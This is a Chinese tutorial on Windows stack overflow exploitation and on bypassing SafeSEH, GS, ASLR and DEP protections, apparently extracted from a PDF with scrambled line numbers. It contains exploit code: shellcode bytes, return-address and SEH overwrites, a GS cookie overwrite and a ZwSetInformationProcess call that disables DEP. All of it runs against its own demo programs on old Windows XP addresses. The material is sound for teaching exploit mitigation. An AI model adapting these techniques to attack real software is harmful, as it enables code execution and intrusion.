Professional Documents
Culture Documents
一.漏洞原理
1.漏洞成因
要理解该漏洞的成因,最重要的是要理解函数执行细节,具体细节可以参
考:从反汇编的角度学 C/C++之函数。简单来说,由于程序使用 call 指令调用
函数的时候,会改变 eip 的值,以此来修改程序要执行的指令的地址。而为了
让程序在执行完函数以后可以正确返回到调用完函数以后要执行的指令地址,
在通过 call 指令调用函数的时候,除了会修改 eip 为函数的地址,也会将 call 指
令的下一条指令地址(返回地址)保存在栈中。同时,在 Debug 模式下,函数
内部也会保存调用函数前的 ebp 的值,并将 ebp 的值调整到栈顶。接着将栈顶
指针 esp 减去一定的大小,开辟出一段栈空间,用来将局部变量保存在栈中,
此时 esp 指向的就是开辟的这段栈空间的栈顶,ebp 指向的是栈空间的栈底,最
终形成的栈的局部就会如下图所示:
此时就可以通过 ebp 来方便的对局部变量和参数进行操作,[ebp - X]就可以
获取相应的局部变量,[ebp + 0x8 + X]就可以获得相应的参数。而函数返回的时
候,函数会通过 mov esp, ebp 指令,将栈顶 esp 指针指向栈底指针 ebp,接着指
向 pop ebp 将保存的原 ebp 的值赋值给 ebp,此时 esp 将指向保存返回地址的栈
地址。最终函数通过调用 retn 指令来退出函数,该指令会将 esp 指向的栈地址
中所保存的返回地址赋值给 eip。也就是说,函数执行完毕之后,继续执行的指
令地址此时就会由在栈中保存的返回地址来决定。
址。这样,就导致了返回地址被修改,那么函数退出以后要执行的指令的地址就会变成覆盖以后所指定的地址。
1void test(char *pSzInput)
2{
3 char szStr[0x8] = { 0 };
4
5 strcpy(szStr, pSzInput);
6}
接下来通过调试器来观察数据的保存,首先通过如下代码查看正常情况下,
也就是输入数据的长度小于 0x8 的时候,数据是如何保存的。
1 int main()
2 {
3 char szInput[0x100] = { 0 };
4 int iInputLen = 0x8;
5
6 memset(szInput, 'A', iInputLen);
7 test(szInput);
8
9 system("pause");
10
11 return 0;
12}
1 int main()
2 {
3 char szInput[0x100] = { 0 };
4 int iInputLen = 0x10;
5
6 memset(szInput, 'A', iInputLen);
7 test(szInput);
8
9 system("pause");
10
11 return 0;
12}
此时,调用完 strcpy 以后,可以看到输入数据将原 ebp 以及返回地址全部
覆盖掉了,修改成了字符'A'对应的 asscill 值。
由于 0x41414141 这个地址没有保存合法的指令,因此程序会抛出异常。
2.漏洞利用
由上内容可以知道,可以通过控制输入数据的长度和数值实现对返回地址
的修改。这样,当函数执行 retn 指令退出函数的时候,就会将 eip 修改为指定的
地址,而在该地址中,如果保存想要运行的指令了,就成功利用了该漏洞实现
了对程序的劫持。
由于,此时只能控制栈中保存的数据,所以要执行的指令就只能保存在栈
中。因此,想要执行保存在栈中的指令,就需要将 eip 修改为栈中的地址,这
样就会运行保存在栈中的指令。
1 char g_szShellCode[] = {
2 0x33, 0xDB, // xor ebx, ebx
3 0x53, // push ebx,将字符串的结束符 0 压入栈中
4 0x68, 0x68, 0x61, 0x63, 0x6B, // push 0x6B636168,将字符串"hack"压
5 入栈中
6 0x8B, 0xC4, // mov eax, esp,将字符串的首地址赋给 eax
7 0x53, // push ebx
8 0x50, // push eax
9 0x50, // push eax
1 0x53, // push ebx
0 0xB8, 0x0B, 0x05, 0xD5, 0x77, // mov eax, user32.MessageBox
1 0xFF, 0xD0, // call eax
1 0x53, // push ebx
1 0xB8, 0xA2, 0xCA, 0x81, 0x7C, // mov eax, user32.ExitProcess
2 0xFF, 0xD0 // call eax
1 };
3
1
4
1
5
最终完成漏洞利用的代码如下:
1
2
3
4
5 int main()
6{
7 char szInput[0x100] = { 0 };
8 int iJunkLen = 0x8;
9 int iEbpLen = 0x4;
1 int iRetLen = 0x4;
0 DWORD dwRetAddr = 0x7C961EED; // jmp esp 地址
1
1 LoadLibrary("user32.dll"); // MessageBox 函数在该中,需要将其
1 导入才可以调用
2 memset(szInput, 'A', iJunkLen); // 覆盖局部变量 szStr
1 memset(szInput + iJunkLen, 'B', iEbpLen); // 覆盖 ebp
3 *(PDWORD)(szInput + iJunkLen + iEbpLen) = dwRetAddr; // 覆盖返回地址
1 strcpy(szInput + iJunkLen + iEbpLen + iRetLen, g_szShellCode); // 保存
4 ShellCode
1 test(szInput);
5
1 system("pause");
6
1 return 0;
7}
1
8
1
9
接下来将一一对这些技术进行介绍。
由于 SEH 是存放在栈中的,因此如果数据溢出缓冲区,那么就很有可能会
淹没掉 SEH。以下就是利用 SEH 来产生攻击的步骤:
1. 精心制造的溢出数据可以把 SEH 中异常处理函数的入口地址更改为
shellcode 的起始地址
2. 溢出后错误的栈往往会触发异常
3. 当 Windows 开始处理溢出后的异常时,会错误地把 shellcode 当作异常处
理函数而执行
EXCEPTION_DISPOSITION except_handler(_EXCEPTION_RECORD *Exceptio
1
nRecord,
2
void *EstablisherFrame,
3
_CONTEXT *ContextRecord,
4
void *DispatcherContext);
因此对于函数的调用,要改成如下的代码:
1 // 注册异常处理器
2 __asm
3 {
4 push except_handler // 处理器结构指针
5 push fs:[0] // 前一个结构化异常处理器的地址
6 mov fs:[0], esp // 登记新的结构
7 }
8
9 test(szInput);
10
11// 销毁异常处理器
12__asm
13{
14 mov eax, [esp] // 从栈顶取得前一个异常登记结构的地址
15 mov fs:[0], eax // 将前一个异常结构的地址赋给
16 add esp, 8 // 清理栈上的异常登记结构
17}
1 int main()
2{
3 char szInput[0x100] = { 0 };
4 int iJunkLen = 0x18;
5
6 LoadLibrary("user32.dll"); // MessageBox 函数在该中,需要将其
7 导入才可以调用
8 memset(szInput, 'A', iJunkLen); // 覆盖异常处理函数之前的数据
9 *(PDWORD)(szInput + iJunkLen) = (DWORD)g_szShellCode; // 将异常处理
1 函数修改为 SellCode 的地址
0
1 // 注册异常处理器
1 __asm
1 {
2 push except_handler // 处理器结构指针
1 push fs:[0] // 前一个结构化异常处理器的地址
3 mov fs:[0], esp // 登记新的结构
1 }
4
1 system("pause");
5 test(szInput);
1
6 // 销毁异常处理器
1 __asm
7 {
1 mov eax, [esp] // 从栈顶取得前一个异常登记结构的地址
8 mov fs:[0], eax // 将前一个异常结构的地址赋给
1 add esp, 8 // 清理栈上的异常登记结构
9 }
2
0 system("pause");
2
1
2
2
2
3
2
4
2
5
2
6
return 0;
2
}
7
2
8
2
9
3
0
3
1
3
2
2.SafeSEH
在 Windows XP SP2 及后续版本的操作系统中,微软引入了 SEH 校验机制
SafeSEH。SafeSEH 的原理很简单,在程序调用异常处理函数前,对要调用的异常
处理函数进行一系列的有效性校验,当发现异常处理函数不可靠时将终止异常处理
函数的调用。SafeSEH 实现需要操作系统与编译器的双重支持,二者缺一都会降低
SafeSEH 的保护能力。
在编译器层面,编译器通过启用/SafeSEH 链接选项可以让编译好的程序具备
SEH 功能,这一链接选项在 Visual Studio 2003 及后续版本中是默认启用的。启用
该链接选项后,编译器在编译程序的时候将程序所有的异常处理函数地址提取出来,
编入一张安全的 SEH 表,并将这张表放到程序的映像里面。当程序调用异常处理
函数的时候会将函数地址与安全 SEH 表进行匹配,检查调用的异常处理函数是否
位于安全 SEH 表中。
1. 检查异常处理链是否位于当前程序的栈中。如果不在当前栈中,程序将终
止异常处理函数的调用
2. 检查异常处理函数指针是否指向当前程序的栈中。如果指向当前栈中,程
序将终止异常处理函数的调用
3. 在前两项检查都通过后,程序调用一个全新的函数 RtlIsValidHandler(),来
对异常处理函数的有效性进行验证
其中,RtlIsValidHandler 函数的执行流程如下:
首先,该函数判断异常处理函数地址是不是在加载模块的内存空间,如果属于
加载模块的内存空间,校验函数将依次进行如下校验:
如果异常处理函数的地址没有包含在加载模块的内存空间,校验函数将直接进
行 DEP 相关检测,函数依次进行如下校验:
判断异常处理函数地址是否位于不可执行页上。当异常处理器函数地址位
于不可执行页上时,校验函数将检测 DEP 是否开启,如果系统未开启 DEP 则返回
校验成功,否则程序抛出违例的异常
判断系统是否允许跳转到加载模块的内存空间外执行,如果允许则返回校
验成功,否则返回校验失败
下图是 RtlDispatchException 函数的校验流程:
由于 SafeSEH 机制的存在,上述的漏洞利用方式就会无效。程序在检测到异
常处理函数的异常以后,将会直接退出程序,而不会去执行 ShellCode。所以,要
想成功利用漏洞,就需要绕过 SafeSEH 机制。
3.从堆中绕过 SafeSEH
由于当异常处理函数指向堆中的内存地址的时候,不会触发 SafeSEH 机制。
因此,可以通过将 ShellCode 复制到堆中,同时将异常处理函数覆盖为保存了
ShellCode 的堆地址的方式来绕过 SafeSEH 机制,触发漏洞。
此时的漏洞利用代码如下:
1 int main()
2 {
3 char *buf = (char *)malloc(100);
4 char szInput[0x100] = { 0 };
5 int iJunkLen = 0x18;
6
7 LoadLibrary("user32.dll"); // MessageBox 函数在该中,需要将其导入
8 才可以调用
9
1 // 将 ShellCode 复制到堆中
0 memset(buf, 0, 100);
1 strcpy(buf, g_szShellCode);
1
1 memset(szInput, 'A', iJunkLen); // 覆盖异常处理函数之前的数据
2 *(PDWORD)(szInput + iJunkLen) = (DWORD)buf; // 将异常处理函数修改为
1 申请的堆的地址
3
1 // 注册异常处理器
4 __asm
1 {
5 push except_handler // 处理器结构指针
1 push fs:[0] // 前一个结构化异常处理器的地址
6 mov fs:[0], esp // 登记新的结构
1 }
7
1 test(szInput);
8
1 // 销毁异常处理器
9 __asm
2 {
0 mov eax, [esp] // 从栈顶取得前一个异常登记结构的地址
2 mov fs:[0], eax // 将前一个异常结构的地址赋给
1 add esp, 8 // 清理栈上的异常登记结构
2 }
2
2 system("pause");
3
2 return 0;
4 }
2
5
2
6
2
7
2
8
2
9
3
0
3
1
3
2
3
3
3
4
3
5
3
6
3
7
1 int main()
2 {
3 char szInput[0x100] = { 0 };
4 int iJunkLen = 0x18;
5
6 LoadLibrary("SEH_NoSafeSEH_JUMP.dll"); // 导入关闭 SafeSEH 的
7 模块
8 LoadLibrary("user32.dll"); // MessageBox 函数在该中,需要将其导
9 入才可以调用
1
0 memset(szInput, 'A', iJunkLen); // 覆盖异常处理函数之前的数据
1 *(PDWORD)(szInput + iJunkLen) = (DWORD)0x11121014; // 要跳转到的
1 未开启 SafeSEH 的模块的地址
1
2 system("pause");
1
3 // 注册异常处理器
1 __asm
4 {
1
5
1
6
1
7
1
8
1
9
2
0
2 push except_handler // 处理器结构指针
1 push fs:[0] // 前一个结构化异常处理器的地址
2 mov fs:[0], esp // 登记新的结构
2 }
2
3 test(szInput);
2
4
2 // 销毁异常处理器
5 __asm
2 {
6 mov eax, [esp] // 从栈顶取得前一个异常登记结构的地址
2 mov fs:[0], eax // 将前一个异常结构的地址赋给
7 add esp, 8 // 清理栈上的异常登记结构
2 }
8
2 system("pause");
9
3 return 0;
0 }
3
1
3
2
3
3
3
4
3
5
3
6
运行程序以后,使用调试器对其进行附加,在程序执行完 strcpy 的时候可
以看到异常处理函数地址已经被修改为未开启 SafeSEH 的模块的地址
在该地址下断点以后,继续运行程序,可以看到程序成功跳转到该处执行。
此时已经证明,通过将异常处理函数地址修改为未开启 SafeSEH 模块的地址是
可以绕过 SafeSEH。但是此时的 esp 的值变得过小(和局部变量 szStr 相差-
0x3C0),导致漏洞难以利用,就没有再进一步尝试执行 ShellCode
5.利用加载模块之外的地址绕过 SafeSEH
一个进程会以共享的方式打开多个其他文件,此时保存这些文件内容的内
存的类型是 Map 类型,如下图所示。SafeSEH 是无视它们的,当异常处理函数
指针指向的是这些地址范围内,是不对其进行有效性验证的。因此,可以通过
在这些模块中查找跳转指令,将指令地址覆盖给异常处理函数,就可以绕过
SafeSEH。
基本上做法和上面的差不多,只不过这次换成了用共享内存的方式加载的其他
模块中,然后问题也是同样的(esp 太小),不好利用,就不继续了。
四.SEHOP
SEHOP 是一种更为严厉的 SEH 保护机制,Windows7,Windows10 等系统
均支持。想要开启 SEHOP,只需要在注册表的 HKEY_LOCAL_MACHINE\
SYSTEM\CurrentControlSet\Control\Session Manager\kernel 下找到
DisableExceptionChainValidation 项,将该值设置为 0,即可启用 SEHOP,如下
图所示:
由于覆盖异常处理函数指针时同时覆盖了下一异常处理结构的指针,这样的话
SEH 链就会被破坏,从而被 SEHOP 检测出来。
作为对 SafeSEH 强有力的补充,SEHOP 检查是在 SafeSEH 的
RtlIsValidHandler 函数检验前进行的,也就是说利用攻击模块之外的地址,堆地址
和未启用 SafeSEH 模块的方法都行不通了。
五.GS 安全机制
1.保护原理
针对缓冲区溢出时会覆盖函数返回地址这一特征,微软的编译器在编译程序的
时候引入了 GS 安全机制,在 Visual Studio 2003 及以后版本的 Visual Studio 中,可
以通过项目属性页的配置属性 -> C/C++ -> 代码生成 -> 缓冲区安全检查来选择开
启还是关闭 GS 安全机制。
GS 编译选项为每个函数调用增加了一些额外的数据和操作,用以检测栈中的
溢出。
在所有函数调用发生时,向栈帧内压入一个额外的随机 DWORD,这个随机
数被称为"canary",但如果使用 IDA 反汇编的话,会看到 IDA 将这个随机数标注
为"Security Cookie"。
"Security Cookie"位于 EBP 之前,系统还将在.data 的内存区域中存放一个
Security Cookie 的副本,如图 10.1.2 所示
当栈中发生溢出时,Security Cookie 将被首先淹没,之后才是 EBP 和返回地
址
在函数返回之前,系统将执行一个额外的安全验证操作,被称作 Security
check
在 Security check 的过程中,系统将比较栈帧中原先存放的 Security Cookie
和.data 中副本的值,如果两者不吻合,说明栈帧中的 Security Cookie 已被破坏,即
栈中发生了溢出
当检测到栈中发生溢出时,系统将进入异常处理流程,函数不会被正常返
回,ret 指令也不会被执行,如图 10.1.3 所示
但是额外的数据和操作带来的直接后果就是系统性能的下降,为了将对性能的
影响讲到最小,编译器在编译程序的时候并不是对所有的函数都应用 GS,以下的
情况不会应用 GS:
函数不包含缓冲区
函数被定义为具有变量参数列表
函数使用无保护的关键字标记
函数在第一个语句中包含内嵌汇编代码
缓冲区不是 8 字节类型且大小不大于 4 个字节
1#pragma strict_gs_check
如下所示,可以通过该标识让不符合 GS 保护条件的函数添加 GS 保护
1#pragma strict_gs_check(on)
2void func()
3{
4 char szStr[4];
5}
1 void test(char *pSzInput)
2{
3 00401030 push ebp
4 00401031 mov ebp,esp
5 00401033 sub esp,4Ch
6 00401036 mov eax,dword ptr [___security_cookie (456020h)] // 将 Security
7 Cookie 赋值给 eax
8 0040103B xor eax,ebp // 将 eax 与 ebp 的值异或
9 0040103D mov dword ptr [ebp-4],eax // 将异或以后的结果赋给[ebp
1 - 4]
0 00401040 push ebx
1 00401041 push esi
1 00401042 push edi
1 char szStr[0x8] = { 0 };
2 00401043 mov byte ptr [ebp-0Ch],0
1 00401047 xor eax,eax
3 00401049 mov dword ptr [ebp-0Bh],eax
1 0040104C mov word ptr [ebp-7],ax
4 00401050 mov byte ptr [ebp-5],al
1
5 strcpy(szStr, pSzInput);
1 00401053 mov eax,dword ptr [ebp+8]
6 00401056 push eax
1 00401057 lea ecx,[ebp-0Ch]
7 0040105A push ecx
1 0040105B call strcpy (4013F0h)
8 00401060 add esp,8
1}
9 00401063 pop edi
2 00401064 pop esi
0 00401065 pop ebx
2 00401066 mov ecx,dword ptr [ebp-4] // 取出[ebp - 4]的值赋给 ecx
1 00401069 xor ecx,ebp // 将 ecx 的值与 ebp 异或
2
2 0040106B call __security_check_cookie (4014F0h) // 调用 Security Check 函
2数
3 00401070 mov esp,ebp
2 00401072 pop ebp
4 00401073 ret
2
5
2
6
2
7
2
8
2
9
3
0
3
1
3
2
3
3
3
4
3
5
2.突破 GS 保护
1void test(char *pSzInput, char *buf, int i)
2{
3 char szStr[0x8] = { 0 };
4 if (i < 0x100)
5 {
6 *(PDWORD)(buf + i) = *(PDWORD)pSzInput;
7 strcpy(szStr, pSzInput);
8 }
9}
1
2
3
4
int main()
5
{
6
char *buf = (char *)malloc(0x10000);
7
char szInput[0x100] = { 0 };
8
int iSize = 4;
9
1
LoadLibrary("user32.dll"); // MessageBox 函数在该 DLL 中,需
0
要将其导入才可以调用
1
1
*(PDWORD)szInput = 0x90909090; // 用来修改.data 中的
1
Security Cookie 值
2
memset(szInput + iSize, 'A', iSize); // 覆盖局部变量 szStr
1
*(PDWORD)(szInput + iSize + iSize) = 0x90826E90; // 覆盖栈中的
3
Security Cookie
1
memset(szInput + iSize + iSize + iSize, 'B', iSize); // 覆盖 ebp
4
*(PDWORD)(szInput + iSize + iSize + iSize + iSize) = 0x7C961EED; // 覆
1
盖返回地址为 jmp esp 指令地址
5
strcpy(szInput + iSize + iSize + iSize + iSize + iSize, g_szShellCode); // 复制
1
ShellCode
6
1
test(szInput, buf, -0xB048);
7
1
system("pause");
8
1
return 0;
9
}
2
0
2
1
六.ASLR 安全机制
1.保护原理
利用栈溢出漏洞的时候,往往都需要确定一个明确的跳转指令地址。无论
是 jmp esp 等通用跳板指令还是 Ret2Libc 使用的各指令,我们都需要先确定这
条指令的入口点。微软的 ASLR 技术就是通过加载程序的时候不再使用固定的
基址加载,从而干扰 shellcode 定位的一种保护机制。
设置为 0 时映像随机化禁用
设置为-1 时强制对可随机化的映像进行处理,无论是否设置
IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 标识
设置为其他值时为正常工作模式,只对具有随机化处理标识的映像进行
处理
如果注册表中不存在,也可以新建一项,并根据需要进行设定,如下图所
示:
void test()
1
{
2
char szStr[0x4];
3
char *pHead = (char *)malloc(0x4);
4
5
printf("Stack Addr:0x%X\nHeap Addr:0x%X\n", (DWORD)szStr, (DWORD)pHe
6
ad);
7
}
2.ASLR 的绕过
1char g_szExploit[262] = { 0 };
2
3void test()
4{
5 char szStr[256] = { 0 };
6
7 memcpy(szStr, g_szExploit, 262);
8}
由于此时是局部覆盖,因此,ShellCode 需要保存在输入数据的前面,而在
执行 retn 的时候,寄存器 eax 执行的就是局部变量 szStr 的地址,因此可以通过
在当前模块中找到 call / jmp eax 的指令来实现功能,用该指令的偏移地址(后
16 位)来进行返回地址的覆盖。
可是经过调试,并没有发现模块中存在 jmp / call eax 的指令,所以就没有
继续,附上半成品的利用代码。
1
2 int main()
3{
4
5 LoadLibrary("user32.dll"); // MessageBox 函数在该 DLL 中,需要将
6 其导入才可以调用
7
8 memcpy(g_szExploit, g_szShellCode, sizeof(g_szShellCode)); // 复制
9 ShellCode
1 memset(g_szExploit + sizeof(g_szShellCode), 0x90, 0x104 - sizeof(g_szShellCod
0 e) - 2); // 覆盖剩余空间
1 *(PSHORT)(g_szExploit + 0x104 - 2) = 0xXXXX; // 覆盖返回地址的偏移地址
1
1 test();
2
1 system("pause");
3 return 0;
1}
4
七.DEP 安全机制
1.保护原理
DEP 的主要作用是阻止数据页(如默认的堆页,各种堆栈页以及内存池页)
执行代码。DEP 的基本原理是将数据所在内存页标识为不可执行,当程序溢出
成功转入 shellcode 时,程序会尝试在数据页面上执行指令,此时 CPU 就会抛出
异常,而不是去执行恶意指令。如下图所示:
DEP 机制需要 CPU 的支持,AMD 和 Intel 都为此作了设计,AMD 称之为
No-Execute Page-Protection(NX),Intel 称之为 Execute Disable Bit(XD),两者功
能及工作原理在本质上是相同的。
由于 DEP 不允许我们直接到非可执行页执行指令,我们就需要在其他可执
行的位置找到符合我们要求的指令,让这条指令来替我们工作,为了能够控制
程序流程,在这条指令执行后,我们还需要一个返回指令,以便收回程序的控
制权,然后继续下一步操作,整体流程如下图所示:
简而言之,只要为 shellcode 中的每条指令都在代码区找到一条替代指令,
就可以完成 exploit 想要的功能了。但是由于该方法难度过大,因此在此思想上,
可以使用以下三种方法来达成目标:
2.ZwSetInformationProcess
1kd> dt _KEXECUTE_OPTIONS
2nt!_KEXECUTE_OPTIONS
3 +0x000 ExecuteDisable : Pos 0, 1 Bit
4 +0x000 ExecuteEnable : Pos 1, 1 Bit
5 +0x000 DisableThunkEmulation : Pos 2, 1 Bit
6 +0x000 Permanent : Pos 3, 1 Bit
7 +0x000 ExecuteDispatchEnable : Pos 4, 1 Bit
8 +0x000 ImageDispatchEnable : Pos 5, 1 Bit
9 +0x000 Spare : Pos 6, 2 Bits
1NTSTATUS
2WINAPI
3ZwSetInformationProcess(__in HANDLE ProcessHandle,
4 __in PROCESSINFOCLASS ProcessInformationClass,
5 __out PVOID ProcessInformation,
6 __in ULONG ProcessInformationLength);
参数 含义
ProcessHandle 进程句柄
ProcessInformation 进程信息类;当指定为 ProcessExecuteFlags(0x22)
的时候表示要设置进程的 DEP 属性
ProcessInformation 指向保存要设置属性的地址,当设置为 0x2 且第二
个参数为 0x22 的时候就可以关闭 DEP
ProcessInformationLength 第三个参数的长度
1char g_szExploit[100] = { 0 };
2
3void test()
4{
5 char szStr[0x8] = { 0 };
6
7 memcpy(szStr, g_szExploit, sizeof(g_szExploit));
8}
漏洞利用代码,则如下:
1
2
3
4
5
int main()
6
{
7
DWORD dwFuncAddr = 0x7C92E62D; // ZwSetInform
8
ationProcess 函数地址
9
DWORD dwRetAddr = 0x7C961EED; // jmp esp 地址
1
0
LoadLibrary("user32.dll"); // MessageBox 函数在该
1
中,需要将其导入才可以调用
1
1
*(PDWORD)g_szExploit = 0x2; // 参数三的值
2
memset(g_szExploit + 4, 'A', 0x8);
1
*(PDWORD)(g_szExploit + 0xC) = dwFuncAddr; // 跳转到
3
ZwSetInformationProcess 函数地址
1
*(PDWORD)(g_szExploit + 0x10) = dwRetAddr; // 覆盖返回
4
地址(jmp esp)
1
*(PDWORD)(g_szExploit + 0x14) = -1; // 4 个参数
5
*(PDWORD)(g_szExploit + 0x18) = 0x22;
1
*(PDWORD)(g_szExploit + 0x1C) = (DWORD)g_szExploit;
6
*(PDWORD)(g_szExploit + 0x20) = 0x4;
1
memcpy(g_szExploit + 0x24, g_szShellCode, sizeof(g_szShellCode)); // 保存
7
ShellCode
1
8
test();
1
9
system("pause");
2
0
return 0;
2
}
1
2
2
2
3
八.参考资料
《0day 安全:软件漏洞分析技术》